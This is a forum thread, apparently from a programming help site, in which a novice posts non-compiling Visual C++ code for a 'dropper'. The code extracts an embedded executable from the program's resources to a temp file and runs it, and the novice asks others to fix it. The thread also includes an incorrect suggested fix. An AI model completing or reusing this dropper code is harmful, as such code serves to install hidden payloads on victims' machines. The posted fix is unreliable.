Help me to see what error in this script V C++ 6.0 | Newbie | | Join Date: Oct 2006
Posts: 2
| |
my script below is: -
#include "stdafx.h"
-
-
int APIENTRY WinMain(HINSTANCE hInstance,
-
HINSTANCE hPrevInstance,
-
LPSTR lpCmdLine,
-
int nCmdShow)
-
-
-
HINSTANCE hInst = hInstance;
-
-
ExtractResource2Temp4Execution(hInst,IDR_DROPER1,"DROPER");
-
-
void ExtractResource2Temp4Execution(HINSTANCE hModule,DWORD resName,char* resType)
-
{
-
unsigned long ResourceSize,byteswritten;
-
-
HRSRC hResourceLocation;
-
-
HANDLE FileHandle;
-
-
HGLOBAL hRes;
-
-
char * ResourcePointer;
-
-
//now we find the resource with the FindResource function that returns handle 4 the resource
-
-
//MSDN for FindResource 4 more info
-
-
hResourceLocation = FindResource((HMODULE)hModule,MAKEINTRESOURCE(resName),resType);
-
if(hResourceLocation == 0)
-
{
-
//this is just a standard error message to tell you if anything went wrong you might wanna remove these
-
MessageBox(0,"hResourceLocation e NULL","nashpa",MB_OK);
-
return ;
-
}
-
-
-
hRes = LoadResource((HMODULE)hModule,hResourceLocation);
-
if(hRes == 0)
-
{
-
MessageBox(0,"hRes e NULL","nashpa",MB_OK);
-
return ;
-
}
-
-
//lock the resource so that we may get a pointer to it so that me may extract it
-
-
//MSDN for LockResource 4 more info
-
-
ResourcePointer = (char *)LockResource(hRes);
-
if(ResourcePointer == 0)
-
{
-
MessageBox(0,"pDatabase e NULL","nashpa",MB_OK);
-
return ;
-
}
-
-
//get size of resource
-
-
//you know what 2 do 4 more info
-
-
ResourceSize = SizeofResource((HMODULE)hModule, hResourceLocation);
-
-
//this function get_temp_file is not a standard API function it is a function I made to give me a good temporary file
-
//2 execute, look 4 it lower on
-
-
char * temp_file =get_temp_file();
-
-
//create the file
-
-
FileHandle = CreateFile(temp_file,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
-
-
if (FileHandle == INVALID_HANDLE_VALUE)
-
{
-
MessageBox(0,"nu sa putut initializa fisierul,FileHandle e NULL ","nashpa",MB_OK);
-
return ;
-
}
-
-
//write 2 the file
-
-
WriteFile(FileHandle,ResourcePointer,ResourceSize,&byteswritten,0);
-
-
//close the file
-
-
CloseHandle(FileHandle);
-
-
//execute the file
-
-
WinExec(temp_file,SW_NORMAL);
-
-
return;
-
}
-
-
-
char * get_temp_file()
-
-
{
-
-
char wintemp_path[1024];
-
-
char *temp_path=new char[1024];
-
-
-
-
GetTempPath(1024,wintemp_path);
-
-
char *c = new char[255];
-
-
strcpy(c,"some text just to make it more random like");
-
-
//The GetTempFileName function creates a name for a temporary file. The file name
-
//is the concatenation of specified
-
//path and prefix strings, a hexadecimal string formed from a specified integer,
-
//and the .tmp extension.
-
//I use the function GetTickCount 4 the integer that is to be concatenated so as
-
//to randomize it a bit
-
//the GetTickCount function gets the number of milliseconds that have elapsed since
-
//the system was started
-
//so this number is very unlikely to be the same ever
-
-
GetTempFileName(wintemp_path,c,GetTickCount(),temp_path);
-
-
return temp_path;
-
-
}
-
The Error said : --------------------Configuration: Ass Droper - Win32 Debug--------------------
Compiling...
Ass Droper.cpp
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : error C2146: syntax error : missing ';' before identifier 'HINSTANCE'
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : fatal error C1004: unexpected end of file found
Error executing cl.exe.
Ass Droper.exe - 2 error(s), 0 warning(s)
When i add --> ; to
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow) ;
it come out error like this --------------------Configuration: Ass Droper - Win32 Debug--------------------
Compiling...
Ass Droper.cpp
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : error C2065: 'hInstance' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(12) : error C2440: 'initializing' : cannot convert from 'int' to 'struct HINSTANCE__ *'
Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2065: 'IDR_DROPER1' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2501: 'ExtractResource2Temp4Execution' : missing storage-class or type specifiers
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2078: too many initializers
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : error C2440: 'initializing' : cannot convert from 'char [7]' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(17) : error C2373: 'ExtractResource2Temp4Execution' : redefinition; different type modifiers
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(14) : see declaration of 'ExtractResource2Temp4Execution'
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(68) : error C2065: 'get_temp_file' : undeclared identifier
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(68) : error C2440: 'initializing' : cannot convert from 'int' to 'char *'
Conversion from integral type to pointer type requires reinterpret_cast, C-style cast or function-style cast
C:\Program Files\Microsoft Visual Studio\MyProjects\Ass Droper\Ass Droper.cpp(98) : error C2373: 'get_temp_file' : redefinition; different type modifiers
Error executing cl.exe.
Ass Droper.exe - 10 error(s), 0 warning(s)
can any 1 help me??????? please
|  | AdministratorVoR | | Join Date: Feb 2006 Location: South West UK
Posts: 6,162
| | | re: Help me to see what error in this script V C++ 6.0
It's not script it's code and -
int APIENTRY WinMain(HINSTANCE hInstance,
-
HINSTANCE hPrevInstance,
-
LPSTR lpCmdLine,
-
int nCmdShow)
-
should be -
int APIENTRY WinMain(HINSTANCE hInstance,
-
HINSTANCE hPrevInstance,
-
LPSTR lpCmdLine,
-
int nCmdShow);
-
although I am not quite sure why you are declaring WinMain in this file.
| | Newbie | | Join Date: Oct 2006
Posts: 2
| | | re: Help me to see what error in this script V C++ 6.0 -
int APIENTRY WinMain(HINSTANCE hInstance,
-
HINSTANCE hPrevInstance,
-
LPSTR lpCmdLine,
-
int nCmdShow);
-
same error.. do you have any solution.. can you copy my code and try compile it at Visual C++ 6.0 .. and solve it to me.. am blur now.. cant correct it..
actually am making an extractor.. am kind of extracting an exe inside of exe.. help plz..
| | | | /bytes/about
We are a network of experts and professionals in IT and software development that help one another with answers to tough questions and share insights.
Get the best answers to your questions from over 226,327 network members.
|